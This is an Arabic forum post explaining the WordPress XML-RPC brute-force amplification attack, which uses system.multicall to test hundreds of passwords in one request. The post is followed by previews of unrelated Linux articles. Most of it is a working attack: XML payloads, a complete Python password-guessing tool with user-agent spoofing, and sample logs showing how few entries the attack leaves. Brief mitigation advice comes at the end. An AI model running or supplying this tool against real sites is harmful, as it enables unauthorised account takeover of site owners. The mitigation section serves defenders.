إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

تضخيم هجوم تخمين كلمة مرور وردبرس

تقليص
X
تقليص

  • تضخيم هجوم تخمين كلمة مرور وردبرس

    [ATTACH=CONFIG]24947[/ATTACH]

    سأتحدث اليوم عن تضخيم هجوم تخمين كلمة مرور مدونة وردبرس (Brute Force Amplification attack).

    إن قمت ببحث سريع عن طريقة تخمين كلمات مرور وردبرس, ستجد أغلب الأدوات تقوم بإرسال طلب POST يحمل نمودج دخول معبأ بإسم المستخدم وكلمة المرور المخمنة للصفحة wp-login.php. تم تحليل الإجابة لمعرفة هل تم تسجيل الدخول بنجاح أم فشلت العملية.

    أيضا لو قمت بالبحث عن طريقة الحماية من هذه الهجمات فستجد الكثير من الحلول (منها وردبرس) التي تتحدث عن تأمين الصفحة wp-login.php حلول بسيطة كمنع الوصول بإستعمال htaccess وأخرى متقدمة كتنصيب إضافات captcha أو إضافات تقوم بحصر عدد الطلبات المسموح بها للملف في مدة زمنية محددة...إلخ.

    لكن القليل الذي يتحدث عن بروتوكول XMLRPC الذي توفره وردبرس والمفعل بشكل إفتراضي إبتداء من الإصدار 3.5. يسمح هذا البروتوكول بالتحكم بالمدونة عن بعد بإرسال أوامر على صيغة xml في طلبات HTTP, قد تكون إستعملته وأنت لا تدرير إن كنت من مستخدمي إحدى برامج التدوين Weblog_Client.

    فبإستغلال أحد الإجراءات التي تقدمها وردبرس والتي تستدعي المصادقة (authentication), لنقل مثلا wp.getUsersBlogs و التي تقبل بارمترين username و password :
    كود PHP:
    <?xml version="1.0" encoding="UTF-8"?>
      <methodCall><methodName>wp.getUsersBlogs</methodName>
        <params>
          <param><value><string>admin</string></value></param>
          <param><value><string>123456</string></value></param>
      </params>
    </methodCall>
    وبفحص الإجاية التي ستحتوي على خطأ 403 إن كانت كلمة المرور أو إسم المستخدم خطأ:
    كود PHP:
    <?xml version="1.0" encoding="UTF-8"?>
    <methodResponse>
      <fault>
        <value>
          <struct>
            <member>
              <name>faultCode</name>
              <value><int>403</int></value>
            </member>
            <member>
              <name>faultString</name>
              <value><string>Incorrect username or password.</string></value>
            </member>
          </struct>
        </value>
      </fault>
    </methodResponse>
    أو على إجابة شبيهة بالتالي إن كانت كلمة المرور وإسم المستخدم صحيحين:
    كود PHP:
    <?xml version="1.0" encoding="UTF-8"?>
    <methodResponse>
      <params>
        <param>
          <value>
          <array><data>
            <value><struct>
              <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
              <member><name>url</name><value><string>http://example.com/</string></value></member>
              <member><name>blogid</name><value><string>1</string></value></member>
              <member><name>blogName</name><value><string>example</string></value></member>
              <member><name>xmlrpc</name><value><string>http://example.com/xmlrpc.php</string></value></member>
            </struct></value>
          </data></array>
          </value>
        </param>
      </params>
    </methodResponse>
    نكون قادرين على شن هجوم تخمين ناجح.

    الآن لو قائمة كلمات المرور تحتوي على 1500 سطر, أنت ستضطر لفتح 1500 إتصال مع الخادم لإرسال الـ 1500 طلب وإن كان الخادم يدعم إتصال keep-alive مثلا apache في الحالة الإفتراضة يسمح بـ 100 طلب في الإتصال الواحد أي أنك في أفضل الأحوال ستفتح 15 إتصال لترسل 100 طلب...تخيل كم من الوقت ستستغرق لإنهاء التخمين, بإمكانك تسريع الأمور قليلا بإستعمال threading لكن في كلتا الحالتين أنت مكشوف بسبب الكم الهائل من الطلبات التي ترسلها للخادم حتى أنه يمكنك أن تتسبب في وقف الخدمة (50X errors), هذا بالطبع إذا إستبعدنا وجود أي حمابة على الخادم والتي ستوقف الهجم بعد عدد محدد من الطلبات كـ iptables أو mode_evasive ...وغيره.

    إذا ما الفائدة من إستخدام XMLRPC أصلا, فالأمر يبدو مثله مثل إستهداف wp-login.php ؟

    كوننا نسعمل XMLRPC للتخمين دعنى نستفيد من الإجراء system.multicall والذي يوفره أي خادم XMLRPC محترم (متوفر في وردبرس), هو وإجراءات أخرى كـ system.listMethods, system.methodHelp... هذا الإجراء يقوم بتغليف عدة أوامر وإرسالها في طلب HTTP واحد...
    هل وصلة الفكرة, سنقوم بإنشاء طلب HTTP واحد يقوم بتنفيد عدة أوامر تخمين...
    كود PHP:
     <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>system.multicall</methodName>
    <params>
        <param>
        <value><array><data>
        <value><struct>
        <member>
        <name>methodName</name>
        <value><string>wp.getUsersBlogs</string></value>
        </member>
        <member>
        <name>params</name>
        <value><array><data>
        <value><string>admin</string></value>
        <value><string>123456</string></value>
        </data></array></value>
        </member>
        </struct></value>
        .
        .
        .
        <value><struct>
        <member>
        <name>methodName</name>
        <value><string>wp.getUsersBlogs</string></value>
        </member>
        <member>
        <name>params</name>
        <value><array><data>
        <value><string>admin</string></value>
        <value><string>xxxxx</string></value>
        </data></array></value>
        </member>
        </struct></value>
        </data></array></value>
        </param>
    </params>
    </methodCall>
    وبهذا نكون قد ضخمنا الهجوم.
    فبإرسال 3 طلبات HTTP كل واحدة تحمل 500 كلمة مرور نكون قد أنهينا تخمين 1500 في ظرف 22.87 ثانية.
    3 طلبات غير مثيرة للشكوك تظهر في السجل على الشكل التالي:
    كود PHP:
    xxx.xxx.xxx.xxx - - [12/Oct/2015:17:17:57 +0000"POST /xmlrpc.php HTTP/1.1" 200 143872 "-" "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"
    xxx.xxx.xxx.xxx - - [12/Oct/2015:17:18:07 +0000"POST /xmlrpc.php HTTP/1.1" 200 143988 "-" "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"
    xxx.xxx.xxx.xxx - - [12/Oct/2015:17:18:13 +0000"POST /xmlrpc.php HTTP/1.1" 200 143775 "-" "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0" 
    هل تصدق أنه تم تجربة 1500 كلمة مرور , وهذا سكربت بايثون بسيط لـتنفيذ الهجوم:
    كود PHP:
    #!/usr/bin/env python

    #  This program is free software: you can redistribute it and/or modify
    #  it under the terms of the GNU General Public License as published by
    #  the Free Software Foundation, either version 3 of the License, or
    #  (at your option) any later version.
    #  
    #  This program is distributed in the hope that it will be useful,
    #  but WITHOUT ANY WARRANTY; without even the implied warranty of
    #  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    #  GNU General Public License for more details.
    #  
    #  You should have received a copy of the GNU General Public License
    #  along with this program.  If not, see <http://www.gnu.org/licenses/>.
    #  
    #  Author: SAF1 http://www.linuxac.org

    # WordPress Bruteforce tool that use the XMLRPC protocol and system.multicall
    # to Amplify the attack.



    from time import time
    from xmlrpc
    .client import FaultMultiCallServerProxyTransport



    class MyTransport(Transport):
        
    # User-Agent spoofing
        
    def __init__(selfuser_agent):
            
    super(MyTransportself).__init__()
            
    __class__.user_agent user_agent


    def pwd_gen
    (file):
        
    # Read the password file and generate lists with length of max_call.
        
    global error
        
    try:
            
    with open(file'r') as fd:
                
    # init
                
    = []
                
    0
                
    for pwd in fd:
                    if 
    == max_call:
                        
    # We reach the max_call, return the list
                        
    yield r
                        
    # reset
                        
    = []
                        
    0
                    
    # Keep feeding the list
                    
    r.append(pwd.rstrip('\n'))
                    
    += 1
                
    # The remaining lines
                
    yield r
        except Exception 
    as e:
            print(
    "[!] {}".format(e))
            
    error True


    def main
    ():
        global 
    error
        
    global pwd_found
        
    # Create the XMLRPC proxy
        
    with ServerProxy(urltransport=MyTransport(useragent)) as proxy:
            for 
    pwd_list in pwd_gen(pwd_file):
                print(
    "[+] Try '{}' passwords.".format(len(pwd_list)))
                
    # Create the MultiCall object.
                
    MultiCall(proxy)
                for 
    pwd in pwd_list:
                    
    # Prepare the calls.
                    # Use the getUsersBlogs method to authenticate the user.
                    
    m.wp.getUsersBlogs(userpwd)

                try:
                    
    # Fire the MultiCall request.
                    
    result m()
                
    except Exception as e:
                    print(
    "[!] {}".format(e))
                    
    error True
                    
    break
                
    # Use index i to get the calls result because if you loop through 
                # the result you can't catch the exceptions raised by 
                # the generator (MultiCallIterator).
                
    for i in range(len(pwd_list)):
                    try:
                        
    result[i]
                    
    # Handle XMLRPC faults
                    
    except Fault as e:
                        
    # Catch any error except 403.
                        # 403 means that the username or the password
                        # is incorrect.
                        
    if e.faultCode != 403:
                            print(
    "[!] {}".format(e))
                            
    error True
                    except Exception 
    as e:
                        print(
    "[!] {}".format(e))
                        
    error True
                    
    else:
                        print(
    "[*] Password found: '{}'.".format(pwd_list[i]))
                        
    pwd_found True
                    
    # No need to check other calls result
                    
    if pwd_found or error:
                        break
                
    # No need to test other passwords
                
    if pwd_found or error:
                    break


    if 
    __name__ == "__main__":

        
    # Edit settings -------------------------------------------------------
        
    url "http://example.com/xmlrpc.php"
        
    useragent "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 "\
                    
    "Firefox/36.0"
        
    user "admin"
        
    pwd_file "./1500-worlist.txt"
        
    max_call 500
        
    # End settings --------------------------------------------------------

        
    starttime time()
        
    error False
        pwd_found 
    False

        
    try:
            
    main()
        
    except KeyboardInterrupt:
            print(
    "\r[+] Interrupt signal received.")
            exit()

        if 
    not error:
            print(
    "[+] Finished in {:.2f} seconds.".format(time() - starttime)) 
    طبعا علينا ذكر الحلول:
    - إستعمل كلمة مرور قوية تتكون من حروف أرقام ورموز
    - تعطيل xmlrpc من لوحة التحكم أو بإضافة السطر التالي للملف wp-config.php
    كود PHP:
    add_filter('xmlrpc_enabled''__return_false'); 
    - منع الوصول للملف xmlrpc.php بإستعمال htaccess والسماح فقط للعناوين محددة:
    إستعمال إضافات: لا أعلم إذا في إضافات تحمي من هذا الهجوم لكني متأكد أن Jetpack تفعل ذلك (يعترف أنه جرب الهجوم على أهذاف حقيقة)
    أخبروني بأي أسماء أخري أو حلول أفضل في تعليقاتكم.

    أتمنى أن أكون قد وفقت في الطرح, بالتوفيق.
      لا يمكن إضافة تعليقات.

    التصانيف

    تقليص

    Latest Articles

    تقليص

    • تجربة تثبيت توزيعة ديبيان بجانب ويندوز بدون usb او cd
      أحمد غريب
      التجربة تمت على VirtualBox النظام ويندوز اكسبي قرص صلب واحد قسمين c و d

      التجربة قسمين القسم الاول تجهيز ملف iso دبيان لعملية الاقلاع لايف من الهاردسك والقسم الثاني عملية الثتبيت تحتاج الى
      27-11-2016, 03:08 PM
    • عداد الإستغفار
      مبتدى في للينكس
      السلام عليكم ورحمة الله و بركاته

      شرح فكرة السكربت:

      عداد الأستغفار يعمل عند الضغط على أختصار من الكيبورد و عند كل ضغطة يضيف 1 إلى العداد و يظهر إطار صغير في منتصف الشاشة لعرض العدد لمدة ثانية ثم يتم أغلاقه تلقائياً . أذا وصل العداد إلى 100 يرجع إلى الصفر. يتم حفظ العدد في ملف count.txt يتم إنشاءه تلقائياً بواسطة السكربت.


      شرح إعداد السكربت:

      1. قم بفتح مجلد Home وقم بإنشاء مجلد بإسم counter

      2. في داخل المجلد counter قم بإنشاء ملف نصي بإسم Counter.java , ثم قم بنسخ السكربت التالية و ضعه في داخل الملف ثم قم بالحفظ



      :
      package counter; import java.awt.BorderLayout; import java.awt.Event; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; import java.io.PrintWriter; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JButton; import javax.swing.SwingConstants; public class Counter extends JFrame { private static String fileName = System.getProperty("user.dir") + "/counter/count.txt"; public Counter() { this.setTitle("Counter"); this.setResizable(false); this.setLocationRelativeTo(null); this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); this.pack(); this.setSize(150, 150); this.setVisible(true); } public static void main(String[] args) { Counter obj = new Counter(); int count = 0; try { try { try { String countString = readFile(fileName, StandardCharsets.UTF_8).trim(); count = (int) Integer.parseInt(countString); } catch (Exception e) { outResult(fileName, String.valueOf(count)); } finally { if (count
      ...
      23-11-2016, 02:11 AM
    • سكربت بايثون لتسهيل تثبيت بعض الأشياء في فيدورا
      yucef
      بسم الله الرحمن الرحيم
      السلام عليكم ورحمة الله وبركاته




      قمت بعمل سكربت بايثون لتسهل تثبيت بعض الأشياء لفيدورا ,طريقة تنزيل وتشغيل السكربت مشروحة في هذا الرابط .

      https://github.com/yucefsourani/arfedy

      ...
      23-11-2016, 02:09 AM
    • إعادة تسمية الملفات باستخدام rename
      OtmanGX
      لينكس على السّريع : إعادة تسمية الملفات باستخدام rename


      تذكير بالموضوع السابق : إعادة تسمية الملفات باستخدام mv

      كما في المرة السابقة سنتحدث اليوم عن إعادة تسمية مجموعة من الملفات لكن باستخدام أداة أخرى وهي rename ؛ بحيث أنّنا لن نضطر لاستعمال حلقات التكرار والأمر مشابه نوعا ما لما يقوم به الأمرsed ، لكن الأداة rename تستخدم التعابير النظامية perlexpr لكننا سنذكر فقط التعابير النظامية المشتركة بين الاثنين .
      بعض خصائص الأمر :
      n, –no-act- : يوصى باستخدام هذه الخاصية كثيرا ، فمن خلالها يتم إظهار التغييرات التي ستتم بدون إجراء أي تعديل
      f, –force : الكتابة على الملفات بدون أدنى تحذير
      v, –verbose – : تفعيل وضع verbose ليتم إظهار التغييرات الجارية
      ويكون الشكل العام للأمر كالتالي :

      :
      rename [option] 's/old-name/new-name/' file
      باستبدال file بالملفات التي تود تغيير أسمائها
      كمثال أوّلي مثلا نريد استبدال المسافات الفارغة المتواجدة في أسماء الملفات أو المجلدات بالرمز _ :

      المثال 1 :
      :
      rename 's/ /_/g' *
      g ليتم الاستبدال في أكثر من موضع إن وجد
      الآن سنقوم كالعادة بإنشاء مجلد نقوم فيه بأمثلتنا
      ...
      23-11-2016, 02:05 AM
    • المراقبة العالمية ! Global surveillance
      عبدالرحمـن محمد
      السلام عليكم ورحمة الله

      مقدمة :
      في يونيو 2013، سرَّب إدوارد سنودين، وهو عميل متعاقد مع وكالة الأمن القومي، مستندات تّصِف بريسم "ومجموعة برامج أخري" بأنه برنامج يتيح مراقبة معمقة للاتصالات الحية والمعلومات المخزنة. ويمكن من استهداف أي عميل لشركة منخرطة في برنامج بريسم، في حال كان هذا العميل يسكن خارج الولايات المتحدة، أو كان مواطنًا أمريكيًا له اتصالات تتضمن محتويات وِب خاصة بأشخاص خارج الولايات المتحدة. البيانات التي يقال أن بريسم يمكِّن من الحصول عليها تتضمن، رسائل البريد الإلكتروني، ومحادثات الفيديو والصوت، والصور، والاتصالات الصوتية ببرتوكول الإنترنت، وعمليات نقل الملفات، وإخطارات الولوج وتفاصيل الشبكات الاجتماعية.
      كشفت الوثائق المسرّبة أن NSA كانت قادرة على الدخول مباشرة إلى الخوادم الخاصة لكل من
      ...
      23-11-2016, 02:04 AM
    • اضافة مستخدم لينيكس جديد و استعمال نفس اسم الحساب لMySQL و قاعدة بيانات بإسمه ايضًا.
      superlinux
      طبعًا هذه استعملها لفتح حساب جديد لشخص يريد ان يستعمل مجلده المنزل (او home directory بالانجليزي) لحفظ موقع الويب خاصته. يعني هذه طريقة ارجو تكون خفيفة ظريفة لإدارة الخادم عليكم. و هكذا ابدؤوا بيع المواقع عالسريع.

      انا استعمل دبيان 8.0 جسي هنا.

      قبل أي شيء, لتوظيف المجلدات المنزل كلها لتكون محافظ لصفحات ويب لكل مستخدم. نفعّل الوحدة userdir:
      :
      a2enmod userdir
      بس على شان تفهم كيف تحفظ الامر السابق: a2 = apache2 web server , enmod =enable module
      هناك الكثير من الاوامر تخص خادم الويب اباتشي تبدأ بــ a2 .

      ثم حرر بأي محرر نصي مثل vi او pico ملف اعدادات الاباتشي:

      :
      vi /etc/apache2/apache2.conf
      ضع في آخر سطر في الملف على سطر مستقل لوحده ما يلي:
      :
      UserDir public
      UserDir disable root
      الكلمة public_html هو اسم مجلد موجود في المجلد المنزل مباشرة. بمعنى لو كان عندك اسم مستخدم اسمه saleem (سليم) , لازم سليم يضع موقعه على الخادم داخل مسار القرص /home/saleem/public_html/ . و التعل...
      23-11-2016, 02:03 AM
    يعمل...
    X